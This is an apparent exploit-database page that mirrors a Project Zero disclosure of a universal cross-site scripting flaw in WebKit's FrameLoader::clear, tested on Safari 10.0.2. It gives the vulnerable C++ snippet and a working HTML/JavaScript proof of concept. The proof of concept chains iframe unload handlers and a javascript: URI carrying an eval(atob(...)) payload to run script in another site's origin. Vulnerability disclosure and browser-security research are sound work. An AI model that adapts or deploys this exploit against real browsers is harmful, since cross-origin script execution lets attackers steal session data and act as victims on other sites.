Apple WebKit: UXSS via FrameLoader::clear

vendor:

Safari

by:

Project Zero

7,5

CVSS

HIGH

UXSS

CWE

Product Name: Safari

Affected Version From: Safari 10.0.2

Affected Version To: Safari 10.0.2

Patch Exists: YES

Related CWE: N/A

CPE: a:apple:safari:10.0.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Mac

2017

Apple WebKit: UXSS via FrameLoader::clear

When the new page is loading, FrameLoader::clear is called to clear the old document and window. The new document's window is attached at (1) before calling |m_frame.setDocument(nullptr)| that calls unload event handlers. So in the unload event handler, we could execute arbitrary javascript code on new document's window with a javascript: URI.

Mitigation:

Ensure that the unload event handlers are not vulnerable to UXSS.

Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1049

When the new page is loading, FrameLoader::clear is called to clear the old document and window.

Here's a snippet of FrameLoader::clear.

void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView)
{
    ...
    // Do this after detaching the document so that the unload event works.
    if (clearWindowProperties) {
        InspectorInstrumentation::frameWindowDiscarded(m_frame, m_frame.document()->domWindow());
        m_frame.document()->domWindow()->resetUnlessSuspendedForDocumentSuspension();
        m_frame.script().clearWindowShell(newDocument->domWindow(), m_frame.document()->pageCacheState() == Document::AboutToEnterPageCache); <<-------- (1)

        if (shouldClearWindowName(m_frame, *newDocument))
            m_frame.tree().setName(nullAtom);
    }

    ...
    m_frame.setDocument(nullptr); <<-------- (2)
    ...
}

The new document's window is attached at (1) before calling |m_frame.setDocument(nullptr)| that calls unload event handlers. So in the unload event handler, we could execute arbitrary javascript code on new document's window with a javascript: URI.


Tested on Safari 10.0.2(12602.3.12.0.1).
-->

<body>
<script>

/*

Apple WebKit: UXSS via FrameLoader::clear

When the new page is loading, FrameLoader::clear is called to clear the old document and window.

Here's a snippet of FrameLoader::clear.

void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView)
{
    ...
    // Do this after detaching the document so that the unload event works.
    if (clearWindowProperties) {
        InspectorInstrumentation::frameWindowDiscarded(m_frame, m_frame.document()->domWindow());
        m_frame.document()->domWindow()->resetUnlessSuspendedForDocumentSuspension();
        m_frame.script().clearWindowShell(newDocument->domWindow(), m_frame.document()->pageCacheState() == Document::AboutToEnterPageCache); <<-------- (1)

        if (shouldClearWindowName(m_frame, *newDocument))
            m_frame.tree().setName(nullAtom);
    }

    ...
    m_frame.setDocument(nullptr); <<-------- (2)
    ...
}

The new document's window is attached at (1) before calling |m_frame.setDocument(nullptr)| that calls unload event handlers. So in the unload event handler, we could execute arbitrary javascript code on new document's window with a javascript: URI.


Tested on Safari 10.0.2(12602.3.12.0.1).
*/

"use strict";

function log(txt) {
    //if (Array.isArray(txt))
    //    txt = Array.prototype.join.call(txt, ", ");

    let c = document.createElement("div");
    c.innerText = "log: " + txt;
    d.appendChild(c);
}

function main() {
    let f = document.body.appendChild(document.createElement("iframe"));
    
    let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));
    a.contentWindow.onunload = () => {
        let b = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));
        b.contentWindow.onunload = () => {
            f.src = "javascript:''";

            let c = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));
            c.contentWindow.onunload = () => {
                f.src = "javascript:''";

                let d = f.contentDocument.appendChild(document.createElement("iframe"));
                d.contentWindow.onunload = () => {
                    f.src = "javascript:setTimeout(eval(atob('" + btoa("(" +function () {
                        alert(document.location);
                    } + ")") + "')), 0);";
                };
            };
        };
    };

    f.src = "https://abc.xyz/";
}

main();

/*
b JSC::globalFuncParseFloat

*/
</script>
</body>